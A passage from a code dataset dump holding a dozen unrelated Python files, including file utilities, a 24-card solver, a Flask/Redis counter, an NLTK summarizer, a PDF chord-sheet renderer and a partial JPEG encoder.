path\r\n\t\t@return\titems\t{list-{binary}}\t\ttext to file\r\n\t\t\"\"\"\r\n\t\ttry:\r\n\t\t\twith open(path, \"rb\") as f:\r\n\t\t\t\titems = f.read()\r\n\t\t\tif items is not None:\r\n\t\t\t\treturn items\r\n\t\t\telse:\r\n\t\t\t\treturn False\r\n\t\texcept Exception as ex:\r\n\t\t\treturn False\r\n\telse:\r\n\t\t\"\"\"\r\n\t\t@param\tpath\t{string}\tfile path\r\n\t\t@param\tencode\t{string}\t-file encode\r\n\t\t@return\titems\t{list-{string}}\t\ttext to file\r\n\t\t\"\"\"\r\n\t\ttry:\r\n\t\t\twith open(path, \"r\", encoding=encode) as f:\r\n\t\t\t\titems = f.read()\r\n\t\t\tif items is not None:\r\n\t\t\t\treturn items\r\n\t\t\telse:\r\n\t\t\t\treturn False\r\n\t\texcept Exception as ex:\r\n\t\t\treturn False\r\n\r\n##\r\nimport csv\r\ndef readCsv(path):\r\n\t\"\"\"\r\n\tget text in file \".csv\"\r\n\t*when throw erorr, return \"False\"\r\n\r\n\t@param\tpath\t{string}\t-file path\r\n\t@return\titems\t{list}\t\t-text to file\r\n\t\"\"\"\r\n\ttry:\r\n\t\twith open(path, \"rb\") as f:\r\n\t\t\treader = csv.reader(f)\r\n\t\t\theader = next(reader)\r\n\t\t\titmes = array()\r\n\t\t\tfor row in reader:\r\n\t\t\t\titems.append([row[x] for x in range(row)])\r\n\t\t\tif items is not None:\r\n\t\t\t\treturn items\r\n\t\t\telse:\r\n\t\t\t\treturn False\r\n\texcept Exception as ex:\r\n\t\treturn False\r\n\r\n##\r\nfrom chardet.universaldetector import UniversalDetector\r\ndef checkCodeToFile(path):\r\n\t\"\"\"\r\n\tget \"encode\" to file\r\n\t*when throw erorr, return \"False\"\r\n\r\n\t@param\tpath\t{string}\t-file path\r\n\t@return\tencode\t{string}\t\t-file encode\r\n\t\"\"\"\r\n\tdetector = UniversalDetector()\r\n\ttry:\r\n\t\twith open(path, mode='rb') as f:\r\n\t\t\ttry:\r\n\t\t\t\tfor binary in f:\r\n\t\t\t\t\tdetector.feed(binary)\r\n\t\t\t\t\tif detector.done:\r\n\t\t\t\t\t\tbreak\r\n\t\t\texcept Exception as ex:\r\n\t\t\t\treturn False\r\n\texcept Exception as ex:\r\n\t\treturn False\r\n\tdetector.close()\r\n\treturn detector.result['encoding']\r\n\r\n##\r\nimport chardet\r\ndef checkCodeToVal(val):\r\n\t\"\"\"\r\n\tget \"encode\" to val\r\n\t*when throw erorr, return \"False\"\r\n\r\n\t@param\tval\t{string}\t-val\r\n\t@return\tencode\t{string}\t\t-val encode\r\n\t\"\"\"\r\n\tif type(val) is not bytes:\r\n\t\treturn False\r\n\treturn chardet.detect(val)[\"encoding\"]\r\n\r\n##\r\nimport os\r\nimport shutil\r\ndef copyDirctry(befor='', after=''):\r\n\t\"\"\"\r\n\tcopy \"directry\" and copy \"file to sub_dir\"\r\n\t*when throw erorr, return \"False\"\r\n\r\n\t@param\tbefor\t{string}\t-directry path\r\n\t@param\tafter\t{string}\t-directry path\r\n\t@return\tresult\t{bloom}\t\t-result to copy\r\n\t\"\"\"\r\n\tif befor is None or after is None:\r\n\t\treturn False\r\n\ttry:\r\n\t\tshutil.copytree(befor, after)\r\n\t\tif os.path.exists(after) is True:\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\texcept Exception as ex:\r\n\t\treturn False\r\n\r\n##\r\nimport os\r\nimport shutil\r\ndef copyFile(befor='', after=''):\r\n\t\"\"\"\r\n\tcopy \"file\"\r\n\t* mkdirIter necessary\r\n\t* when throw erorr, return \"False\"\r\n\r\n\t@param\tbefor\t{string}\t-file path\r\n\t@param\tafter\t{string}\t-file path\r\n\t@return\tresult\t{bloom}\t\t-result to copy\r\n\t\"\"\"\r\n\tif befor is None or after is None:\r\n\t\treturn False\r\n\tbefor = befor.replace(\"\\\\\",\"/\")\r\n\tafter = after.replace(\"\\\\\",\"/\")\r\n\tif not os.path.exists(after):\r\n\t\tmkdir_iter(after)\r\n\ttry:\r\n\t\tshutil.copy2(befor, after)\r\n\t\tif os.path.exists(after) is True:\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\texcept Exception as ex:\r\n\t\treturn False\r\n\r\n##\r\nimport os\r\nimport re\r\ndef mkdirIter(path):\r\n\t\"\"\"\r\n\tmkdir iter\r\n\r\n\t@param\tpath\t{string}\t-file path\r\n\t\"\"\"\r\n\twhile True:\r\n\t\tif os.path.exists(path):\r\n\t\t\tbreak\r\n\t\ttry:\r\n\t\t\tos.mkdir(path)\r\n\t\t\tbreak\r\n\t\texcept Exception as e:\r\n\t\t\tmkdir_iter(re.sub(r'/[^/]*$', \"\", path))\r\n\r\n##\r\ndef writeFile(path, txt, encode=\"\"):\r\n\t\"\"\"\r\n\twrite to file from \"txt\"\r\n\t* checkCodeToVal necessary\r\n\t* when throw erorr, return \"False\"\r\n\r\n\t@param\tpath\t{string}\t-file path\r\n\t@param\ttxt\t{string|bytes}\t-content to file\r\n\t@param\tencode\t{string}\t-encode\r\n\t@return\tresult\t{bloom}\t\t-result to write\r\n\t\"\"\"\r\n\tif type(txt) is str and checkCodeToVal(txt) is encode:\r\n\t\ttry:\r\n\t\t\twith open(path, mode='w', encoding=encode) as f:\r\n\t\t\t\tf.write(txt)\r\n\t\t\treturn True\r\n\t\texcept Exception as ex:\r\n\t\t\treturn False\r\n\telif type(txt) is bytes:\r\n\t\ttry:\r\n\t\t\twith open(path, mode='wb') as f:\r\n\t\t\t\tf.write(txt)\r\n\t\t\treturn True\r\n\t\texcept Exception as ex:\r\n\t\t\treturn False\r\n\telse:\r\n\t\ttry:\r\n\t\t\twith open(path, mode='w') as f:\r\n\t\t\t\tf.write(txt)\r\n\t\t\treturn True\r\n\t\texcept Exception as ex:\r\n\t\t\treturn False","sub_path":"lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"294151794","text":"def getVal(x):\n if x == 'J':\n return 11\n elif x == 'Q':\n return 12\n elif x == 'K':\n return 13\n elif x == 'A':\n return 1\n else:\n return int(x)\ndef trans(num, li):\n if len(li) == 1:\n if num == getVal(li[0]):\n re[0] = li[0]\n return True\n else:\n return False\n else:\n for i in range(len(li)):\n new_li = li.copy()\n x = new_li.pop(i)\n l = len(new_li)\n if trans(num+getVal(x), new_li):\n re[l] = '-{}'.format(x)\n return True\n if trans(num-getVal(x), new_li):\n re[l] = '+{}'.format(x)\n return True\n if trans(num * getVal(x), new_li):\n re[l] = '/{}'.format(x)\n return True\n if trans(num / getVal(x), new_li):\n re[l] = '*{}'.format(x)\n return True\n\ns = 'A A A A'\nd = s.split()\nre = [''] * 4\nif 'joker' in d or 'JOKER' in d:\n print('ERROR')\nelse:\n if trans(24, d):\n print(''.join(re))\n else:\n print('NONE')\n","sub_path":"hj89_num24_cal.py","file_name":"hj89_num24_cal.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"408534676","text":"import sqlite3\nimport openpyxl\n\npath = \"assets/databases/information.db\"\nxls_path = \"database.xlsx\"\nconnection = sqlite3.connect(path)\ncursor = connection.cursor()\ninschool = []\noutschool = []\n\n# 전화번호부(교내)\ncursor.execute(\"select * from inschool\")\nfor name, phone in cursor.fetchall():\n inschool.append((name, phone))\n\n# 전화번호부(교외)\ncursor.execute(\"select * from outschool\")\nfor name, category, phone, latitude, longitude, menu in cursor.fetchall():\n outschool.append((name, category, phone, latitude, longitude, menu))\n\nworkbook = openpyxl.Workbook(write_only=True)\n\n# 교내\nworksheet = workbook.create_sheet(\"교내 데이터베이스\")\nworksheet.append([\"name_ko\", \"name_en\", \"name_zh\", \"phone\"])\nfor row in inschool:\n worksheet.append(row)\n\n# 교외\nworksheet = workbook.create_sheet(\"교외 데이터베이스\")\nworksheet.append([\"name_ko\", \"name_en\", \"name_zh\", \"category_ko\", \"category_en\", \"category_zh\", \"phone\", \"latitude\", \"longitude\", \"menu_ko\", \"menu_en\", \"menu_zh\"])\nfor row in outschool:\n name, category, phone, latitude, longitude, menu = row\n worksheet.append([name, None, None, category, None, None, phone, latitude, longitude, menu, None, None])\n\nworkbook.save(xls_path)\ncursor.close()\nconnection.close()\n","sub_path":"export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"330671781","text":"import os\n\nfrom flask import Flask\nfrom redis import Redis\n\napp = Flask(__name__)\n\nredis_counter = Redis(host='redis', port=6379)\n\t\t\t\ndef getcount():\n while True:\n try:\n return redis_counter.incr('hits')\n except redis.exceptions.ConnectionError:\n time.sleep(1)\n\t\t\t\n@app.route('/')\ndef hello():\n return 'Webpage redis counter: {}'.format( getcount())\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", debug=True)","sub_path":"docker-advanced-networking/assets/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"121116416","text":"def thesaurus(*names):\n result = {}\n for name in names:\n key = name[0].capitalize()\n if key not in result:\n result[key] = []\n result[key].append(name)\n return result\n\nprint(thesaurus(\"Иван\", \"Мария\", \"Петр\", \"Илья\"))","sub_path":"3_3.py","file_name":"3_3.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"596053814","text":"\nimport numpy as np\nimport cv2 as cv\nimport matplotlib.pyplot as plt\n\noriginal = cv.imread('../data/table.jpg')\ncv.imshow('Original', original)\n\ngray = cv.cvtColor(original, cv.COLOR_BGR2GRAY)\ncv.imshow('Gray', gray)\n\nstar = cv.xfeatures2d.StarDetector_create()\nkeypoints = star.detect(gray)\n\nsift = cv.xfeatures2d.SIFT_create()\nkeypoints, desc = sift.compute(gray, keypoints) # 特征描述矩阵\nprint(desc.shape)\n\nmixture = np.zeros_like(original)\ncv.drawKeypoints(original, keypoints, mixture,\n flags=cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\ncv.imshow('Mixture', mixture)\n\nplt.matshow(desc, cmap='jet', fignum='Description')\nplt.title('Description', fontsize=20)\nplt.xlabel('Feature', fontsize=14)\nplt.ylabel('Sample', fontsize=14)\nplt.tick_params(which='both', top=False, labeltop=False,\n labelbottom=True, labelsize=10)\nplt.tight_layout()\nplt.show()\n\ncv.waitKey()\n","sub_path":"ML/day07/desc.py","file_name":"desc.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"408901735","text":"# -*- coding: utf-8 -*-\n\nstrCloudfsAccountPut = '/cloudfs/account/put'\n\nstrCloudfsAccountGet = '/cloudfs/account/get'\n\nstrCloudfsAccountDelete = '/cloudfs/account/delete'\n\nstrCloudfsAccountHead = '/cloudfs/account/head'\n\nstrCloudfsAccountPost = '/cloudfs/account/post'\n\nstrCloudfsAccountMeta = '/cloudfs/account/meta'\n\nstrCloudfsAccountValid = '/cloudfs/account/valid'\n\nstrCloudfsObjectValid = '/cloudfs/object/valid'\n\nstrCloudfsAccountExists = '/cloudfs/account/exists'\n\nstrCloudfsContainerDelete = '/cloudfs/container/delete'\n\nstrCloudfsContainerPut = '/cloudfs/container/put'\n\nstrCloudfsContainerHead = '/cloudfs/container/head'\n\nstrCloudfsContainerGet = '/cloudfs/container/get'\n\nstrCloudfsContainerPost = '/cloudfs/container/post'\n\nstrCloudfsContainerMeta = '/cloudfs/container/meta'\n\nstrCloudfsDirDelete = '/cloudfs/dir/delete'\n\nstrCloudfsDirReset = '/cloudfs/dir/reset'\n\nstrCloudfsDirDeleteRecycle = '/cloudfs/dir/delete_recycle'\n\nstrCloudfsDirMoveRecycle = '/cloudfs/dir/move_recycle'\n\nstrCloudfsDirPut = '/cloudfs/dir/put'\n\nstrCloudfsDirMove = '/cloudfs/dir/move'\n\nstrCloudfsDirCopy = '/cloudfs/dir/copy'\n\nstrCloudfsDirMetaGet = '/cloudfs/dir/meta_get'\n\nstrCloudfsDirGet = '/cloudfs/dir/get'\n\nstrCloudfsLinkPut = '/cloudfs/link/put'\n\nstrCloudfsObjectPut = '/cloudfs/object/put'\n\nstrCloudfsObjectGet = '/cloudfs/object/get'\n\nstrCloudfsObjectHead = '/cloudfs/object/head'\n\nstrCloudfsObjectMeta = '/cloudfs/object/meta'\n\nstrCloudfsObjectDelete = '/cloudfs/object/delete'\n\nstrCloudfsObjectDeleteRecycle = '/cloudfs/object/delete_recycle'\n\nstrCloudfsObjectCopy = '/cloudfs/object/copy'\n\nstrCloudfsObjectMove = '/cloudfs/object/move'\n\nstrCloudfsObjectMoveRecycle = '/cloudfs/object/move_recycle'\n\nstrCloudfsObjectPost = '/cloudfs/object/post'\n\nstrCloudfsOauthRegister = '/cloudfs/oauth/register'\n\nstrCloudfsTokenValid = '/cloudfs/ouath/token/valid'\n","sub_path":"cloudlib/urls/cloudfs.py","file_name":"cloudfs.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"241674929","text":"from bs4 import BeautifulSoup\nfrom rake_nltk import Rake\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nimport numpy as np\nfrom datetime import datetime\nimport os\n\ndef extract_key_phrases_from_text(TextIn):\n soup = BeautifulSoup(TextIn)\n htmlFreeText = soup.get_text()\n htmlFreeText.replace(\"-\",\"\")\n htmlFreeText = htmlFreeText.strip()\n r = Rake()\n r.extract_keywords_from_text(htmlFreeText)\n final = []\n for pair in r.rank_list:\n newDic = {}\n newDic[\"Affinty\"] = pair[0]\n newDic[\"Text\"] = pair[1]\n final.append(newDic)\n \n return final\n\ndef read_article(Text):\n text_in = Text.split('. ')\n sentences = []\n for x in text_in:\n sentences.append(x.replace(\"[^a-zA-Z]\", \" \").split(\" \"))\n return sentences\n\n\ndef _create_frequency_table(text_string) -> dict:\n\n stopWords = set(stopwords.words(\"english\"))\n words = word_tokenize(text_string)\n ps = PorterStemmer()\n\n freqTable = dict()\n for word in words:\n word = ps.stem(word)\n if word in stopWords:\n continue\n if word in freqTable:\n freqTable[word] += 1\n else:\n freqTable[word] = 1\n\n return freqTable\n\ndef _score_sentences(sentences, freqTable) -> dict:\n sentenceValue = dict()\n\n for sentence in sentences:\n word_count_in_sentence = (len(word_tokenize(sentence)))\n for wordValue in freqTable:\n if wordValue in sentence.lower():\n if sentence[:10] in sentenceValue:\n sentenceValue[sentence[:10]] += freqTable[wordValue]\n else:\n sentenceValue[sentence[:10]] = freqTable[wordValue]\n\n sentenceValue[sentence[:10]] = sentenceValue[sentence[:10]] #word_count_in_sentence\n\n return sentenceValue\n\n\ndef _find_average_score(sentenceValue) -> int:\n sumValues = 0\n for entry in sentenceValue:\n sumValues += sentenceValue[entry]\n\n # Average value of a sentence from original text\n average = int(sumValues / len(sentenceValue))\n\n return average\n\ndef _generate_summary(sentences, sentenceValue, threshold):\n sentence_count = 0\n summary = ''\n\n for sentence in sentences:\n if sentence_count > 3:\n break\n if sentence[:10] in sentenceValue and sentenceValue[sentence[:10]] >= (threshold):\n summary += \" \" + sentence\n sentence_count += 1\n\n return summary\n# https://becominghuman.ai/text-summarization-in-5-steps-using-nltk-65b21e352b65\ndef generate_summary(textIn):\n soup = BeautifulSoup(textIn)\n textIn = soup.get_text()\n textIn = textIn.replace(\"-\",\"\")\n textIn = textIn.strip()\n # 1 Create the word frequency table\n freq_table = _create_frequency_table(textIn)\n #print(freq_table)\n # 2 Tokenize the sentences\n sentences = sent_tokenize(textIn)\n #print(sentences)\n # 3 Important Algorithm: score the sentences\n sentence_scores = _score_sentences(sentences, freq_table)\n #print(sentence_scores)\n # 4 Find the threshold\n threshold = _find_average_score(sentence_scores)\n #print(threshold)\n # 5 Important Algorithm: Generate the summary\n summary = _generate_summary(sentences, sentence_scores, 1.2 * threshold)\n if len(summary) == 0:\n summary = sentences[0]\n\n return summary\n\n ","sub_path":"JobtransparencyNLP/NLTKProcessor.py","file_name":"NLTKProcessor.py","file_ext":"py","file_size_in_byte":3403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"93320634","text":"\"\"\"\nRendering of songs in pdf\n\nThis file is part of chordlab.\n\"\"\"\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\n\nfrom collections import OrderedDict\nfrom .render import SongsRenderer\nfrom . import style\n\nclass PdfSongsRenderer(SongsRenderer):\n def __init__(self, canvas):\n super(PdfSongsRenderer, self).__init__()\n\n # config\n self.disable_compact = False\n self.style = style.get_base_stylesheet()\n\n self.canvas = canvas\n self.xpos = self.ypos = self.colw = None\n self.tabmode = False\n self.skip_grid = False\n self.in_chorus = False\n self.socpos = [0,0]\n self.colstart = 0\n self.pageno = 0\n\n def new_song(self, filename):\n if self.pageno:\n self.draw_chord_boxes()\n super(PdfSongsRenderer, self).new_song(filename)\n self.xpos, self.ypos = self.newPage(filename)\n self.colw = self.canvas.get_right() # Any large number, really\n\n def column_break(self):\n in_chorus = self.in_chorus\n if in_chorus:\n self.handle_EndOfChorus(None)\n self.ypos = self.colstart\n self.xpos += self.colw\n if (self.xpos + 1 > self.canvas.get_right()):\n self.xpos, self.ypos = self.newPage(self.filename)\n if in_chorus:\n self.handle_StartOfChorus(None)\n\n def draw_chord_boxes(self):\n if self.skip_grid:\n self.skip_grid = False\n return\n\n style = self.style['chordbox']\n self.canvas.saveState()\n boxw = 38\n xpos = (self.canvas.get_right()) / style.scale - boxw + 10\n ypos = (self.canvas.get_bottom()) / style.scale + 8\n self.canvas.scale(style.scale, style.scale)\n for cname in reversed(self.usedchords):\n chord = self.localchords.get(cname) or self.knownchords.get(cname)\n if not chord:\n continue\n self.draw_chord_box(xpos, ypos, cname, chord)\n xpos -= boxw\n if xpos < self.canvas.get_left():\n xpos = self.canvas.get_right() - boxw + 10\n ypos += 55\n self.usedchords = OrderedDict()\n self.canvas.restoreState()\n\n def draw_chord_box(self, xpos, ypos, cname, chord):\n nstrings = len(chord) - 1\n dx = 5 * 6 / nstrings\n dy = 7\n\n self.canvas.saveState()\n clip = self.canvas.beginPath()\n clip.moveTo(xpos - dx, ypos - dy/2)\n clip.lineTo(xpos + nstrings*dx, ypos - dy/2)\n clip.lineTo(xpos + nstrings*dx, ypos + 4*dy + 1)\n clip.lineTo(xpos - dx, ypos + 4*dy + 1)\n clip.close()\n self.canvas.clipPath(clip, stroke=0) # clipPath\n\n self.canvas.setLineWidth(0.3)\n self.canvas.grid(\n [xpos + dx*x for x in range(nstrings)],\n [ypos + dy*y for y in range(-1, 6)])\n self.canvas.restoreState()\n\n style = self.style['chordbox']\n self.canvas.setFillColor(style.color)\n self._set_font(self.canvas, style)\n self.canvas.setFont(style.ttfont, 10)\n self.canvas.drawCentredString(\n xpos + dx * 0.5 * (nstrings - 1), ypos + 5.1 * dy, cname)\n\n self.canvas.setFont(style.ttfont, 7)\n if chord[0] > 1: # bare\n self.canvas.drawRightString(\n xpos - 2.0 * dx / 5, ypos + 3 * dy + 1, str(chord[0]))\n else:\n self.canvas.setLineWidth(1)\n self.canvas.line(\n xpos, ypos + 4 * dy + 0.5,\n xpos + (nstrings - 1) * dx, ypos + 4 * dy + 0.5)\n x = xpos\n\n self.canvas.setLineWidth(0.5)\n for string in chord[1:]:\n if string == None:\n self.canvas.line(\n x - 1.8, ypos + 4.5 * dy - 1.8,\n x + 1.8, ypos + 4.5 * dy + 1.8)\n self.canvas.line(\n x + 1.8, ypos + 4.5 * dy - 1.8,\n x - 1.8, ypos + 4.5 * dy + 1.8)\n elif string == 0:\n self.canvas.circle(\n x, ypos + (4.5 - string) * dy, 1.8,\n stroke=1, fill=0)\n else:\n self.canvas.circle(\n x, ypos + (4.5 - string) * dy, 2,\n stroke=0, fill=1)\n\n x += dx\n\n def end_of_input(self):\n super(PdfSongsRenderer, self).end_of_input()\n self.canvas.showPage()\n self.canvas.save()\n\n\n def handle_Title(self, token):\n self._draw_title('title', token.arg)\n\n def handle_SubTitle(self, token):\n self._draw_title('subtitle', token.arg)\n\n def _draw_title(self, style_name, text):\n style = self.style[style_name]\n self._set_font(self.canvas, style)\n self.canvas.setFillColor(style.color)\n self.ypos -= style.line_height\n self.canvas.draw_aligned_string(style.align, self.ypos, text)\n\n def handle_Comment(self, token):\n style = self.style['comment']\n self._set_font(self.canvas, style)\n self.canvas.setFillColor(style.color)\n self.ypos -= style.line_height\n self.canvas.drawString(self.xpos, self.ypos, token.arg)\n\n def handle_StartOfChorus(self, token):\n self.in_chorus = True\n self.socpos = [self.xpos-5, self.ypos]\n self.xpos += self.style['chorus'].indent\n\n def handle_EndOfChorus(self, token):\n self.xpos -= self.style['chorus'].indent\n # TODO: box etc.\n self.canvas.line(self.socpos[0], self.socpos[1],\n self.xpos-5, self.ypos-5)\n self.in_chorus = False\n\n def handle_StartOfTab(self, token):\n style = self.style['tab']\n self._set_font(self.canvas, style)\n self.tabmode = True\n\n def handle_EndOfTab(self, token):\n self.tabmode = False\n\n def handle_Columns(self, token):\n self.colw = (self.canvas.get_right() - self.canvas.get_left()) \\\n / token.arg\n self.colstart = self.ypos\n # print \"Pagew:\", A4[0] - 2*margin, \"cols:\", coln, \"colw:\", colw\n\n def handle_ColumnBreak(self, token):\n self.column_break()\n\n def handle_NewPage(self, token):\n self.xpos,self.ypos = self.newPage(self.filename)\n\n def handle_NewSong(self, token):\n self.new_song(self.filename)\n\n def handle_Define(self, token):\n self.define_chord(token.arg[0], token.arg[1:])\n\n def handle_NoGrid(self, token):\n self.skip_grid = True\n\n def handle_Blank(self, token):\n style = self.style['blank']\n self.ypos -= style.line_height\n\n def handle_TabLine(self, token):\n style = self.style['tab']\n self._set_font(self.canvas, style)\n self.canvas.setFillColor(style.color)\n h = style.line_height\n if self.ypos < self.canvas.get_bottom() + (h * 1.33):\n self.column_break()\n self.ypos -= h\n self.canvas.drawString(self.xpos, self.ypos, token.arg)\n\n def handle_Line(self, token):\n sl = self.style['line']\n sc = self.style['chord']\n\n if self.ypos < self.canvas.get_bottom() \\\n + (sl.line_height + sc.line_height) * 1.1:\n self.column_break()\n\n parts = token.arg\n\n for txt in parts[::2]:\n if txt and not txt.isspace():\n only_chords = False\n break\n else:\n only_chords = True\n\n if not only_chords and (self.disable_compact or len(parts) > 1):\n self.ypos -= sl.line_height + sc.line_height\n else:\n self.ypos -= sl.line_height\n\n to = self.canvas.beginText(self.xpos, self.ypos)\n ischord = 0\n if not only_chords:\n okpos = 0\n for i, x in enumerate(parts):\n if ischord:\n self.use_chord(x)\n\n # fill with dots but only in the middle of a word\n csp = to.getCursor()\n if i + 1 < len(parts) \\\n and (not parts[i+1] or parts[i+1].isspace()):\n cfill = ' '\n else:\n cfill = u'\\u00B7'\n\n while csp[0] < okpos:\n to.textOut(cfill)\n csp = to.getCursor()\n self._set_font(to, sc)\n to.setRise(sc.rise)\n to.setFillColor(sc.color)\n else:\n self._set_font(to, sl)\n to.setRise(0)\n to.setFillColor(sl.color)\n to.textOut(x)\n if ischord:\n okpos = to.getCursor()[0] + 3\n to.setTextOrigin(csp[0], csp[1])\n ischord = not ischord\n\n else:\n for x in parts:\n if ischord:\n self.use_chord(x)\n self._set_font(to, sc)\n to.setFillColor(sc.color)\n else:\n self._set_font(to, sl)\n to.setFillColor(sl.color)\n to.textOut(x)\n ischord = not ischord\n\n self.canvas.drawText(to)\n\n def _set_font(self, obj, style):\n if style.font_path:\n fontnames = [x.lower() for x in\n self.canvas.getAvailableFonts()]\n if style.ttfont.lower() not in fontnames:\n pdfmetrics.registerFont(TTFont(style.ttfont,\n style.font_path))\n obj.setFont(style.ttfont, style.font_size)\n else:\n obj.setFont(style.font, style.font_size)\n\n def newPage(self, filename):\n canvas = self.canvas\n\n if self.pageno > 0: canvas.showPage()\n self.pageno += 1\n\n ss = self.style['songsheet']\n sp = self.style['page-number']\n\n canvas.top = canvas.pagesize[1] - ss.margin_top\n canvas.bottom = ss.margin_bottom\n\n if ss.duplex and (self.pageno % 2 == 1):\n canvas.left = ss.margin_left + ss.margin_gutter\n canvas.right = canvas.pagesize[0] \\\n - (ss.margin_right - ss.margin_gutter)\n\n if sp.display:\n self._set_font(self.canvas, sp)\n canvas.drawRightString(canvas.right, canvas.bottom - 9,\n str(self.pageno))\n else:\n canvas.left = ss.margin_left - ss.margin_gutter\n canvas.right = canvas.pagesize[0] \\\n - (ss.margin_right + ss.margin_gutter)\n\n if sp.display:\n self._set_font(self.canvas, sp)\n canvas.drawString(canvas.left, canvas.bottom - 9,\n str(self.pageno))\n\n canvas.line(canvas.left, canvas.top,\n canvas.right, canvas.top)\n canvas.line(canvas.left, canvas.bottom,\n canvas.right, canvas.bottom)\n\n if canvas.showfilenames:\n canvas.setFont('Helvetica', 8)\n if ss.duplex and (self.pageno % 2 == 1):\n canvas.drawString(canvas.left, canvas.bottom - 9, filename)\n else:\n canvas.drawRightString(canvas.right, canvas.bottom - 9, filename)\n\n return (canvas.left, canvas.top)\n\n","sub_path":"chordlib/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":11185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"292719644","text":"def feedback_3011(filename):\n\n from CRLS_APCSP_autograder.app.python_labs.read_file_contents import read_file_contents\n from CRLS_APCSP_autograder.app.python_labs.find_items import find_questions, find_list, find_random, find_print\n from CRLS_APCSP_autograder.app.python_labs.python_3_011 import python_3_011_2, python_3_011_1\n from CRLS_APCSP_autograder.app.python_labs.pep8 import pep8\n from CRLS_APCSP_autograder.app.python_labs.helps import helps\n from CRLS_APCSP_autograder.app.python_labs.filename_test import filename_test\n\n tests = list()\n\n test_filename = filename_test(filename, '3.011')\n tests.append(test_filename)\n if not test_filename['pass']:\n return tests\n else:\n # Read in the python file to filename_data\n filename_data = read_file_contents(filename)\n\n # test for a list being created with 6 items\n test_houses = find_list(filename_data, num_items=6, list_name='houses', points=10)\n tests.append(test_houses)\n # Asks a question, but that is ignore\n test_question = find_questions(filename_data, 1, 5)\n tests.append(test_question)\n \n # test for importing random\n test_random = find_random(filename_data, 5)\n tests.append(test_random)\n # test for importing randint\n test_randint = find_random(filename_data, 5, randint=True)\n tests.append(test_randint)\n \n # Check for at least 1 print statement\n test_find_print = find_print(filename_data, 1, 5)\n tests.append(test_find_print)\n # Test efficiency\n test_efficiency = python_3_011_1(filename_data, 5)\n tests.append(test_efficiency)\n \n test_runs = python_3_011_2(filename, filename_data, 10)\n tests.append(test_runs)\n \n # Find number of PEP8 errors and helps\n test_pep8 = pep8(filename, 14)\n tests.append(test_pep8)\n test_help = helps(filename, 5)\n tests.append(test_help)\n return tests\n \n","sub_path":"CRLS_APCSP_autograder/app/python_3011.py","file_name":"python_3011.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"59322108","text":"\n\nfrom xai.brain.wordbase.verbs._titter import _TITTER\n\n#calss header\nclass _TITTERS(_TITTER, ):\n\tdef __init__(self,): \n\t\t_TITTER.__init__(self)\n\t\tself.name = \"TITTERS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"titter\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_titters.py","file_name":"_titters.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"555517004","text":"import numpy as np\n\nfilename = 'dsct.tsv'\nKICs = np.loadtxt(filename,usecols=(0),dtype='string')\nmag = np.loadtxt(filename,usecols=(1))\n\nKICs = KICs[np.argsort(mag)]\nmag = mag[np.argsort(mag)]\n\ndata = np.vstack([KICs,mag]).T\nwith open(filename,'w') as ifile:\n for ida in data:\n print >> ifile,ida[0],ida[1]\n\nwith open('targets.txt','a') as ifile:\n for iKIC in KICs[:20]:\n if len(iKIC)==7:\n print >> ifile,'KIC00'+iKIC\n if len(iKIC)==8:\n print >> ifile,'KIC0'+iKIC\n","sub_path":"data/select_targets.py","file_name":"select_targets.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"644493298","text":"import numpy as np\nimport utils\n\nB = 8 # block size\n\n\nclass JPEG_Encoder:\n\n def __init__(self):\n self.DCT = utils.genDCTMat()\n self.qy = utils.genQY()\n self.qc = utils.genQC()\n self.zigzag = utils.genZigzag()\n self.dc_table = utils.genDC_Huffman()\n self.ac_table = utils.genAC_Huffman()\n\n def encode(self, img):\n \"\"\"\n 编码\n\n `img` - rgb 图像\n \"\"\"\n ycbcr_img = self.__rgb2ycbcr(img) # rgb to ycbcr\n\n subsampled = self.__subsampling(ycbcr_img) # chroma subsampling\n\n DC = [[], [], []]\n AC = [[], [], []]\n for k in range(3):\n h, w = subsampled[k].shape\n for i in range(0, h, B):\n for j in range(0, w, B):\n block = subsampled[k][i:i+B, j:j+B]\n if block.shape != (B, B):\n # 补均值形成 8*8 的块\n dh, dw = (B - np.array(block.shape) % B) % B\n block = np.pad(block, ((0, dh), (0, dw)), 'mean')\n \n dct = self.__dct(block)\n q = self.__quantizer(dct, k)\n z = self.__zigzag(q)\n 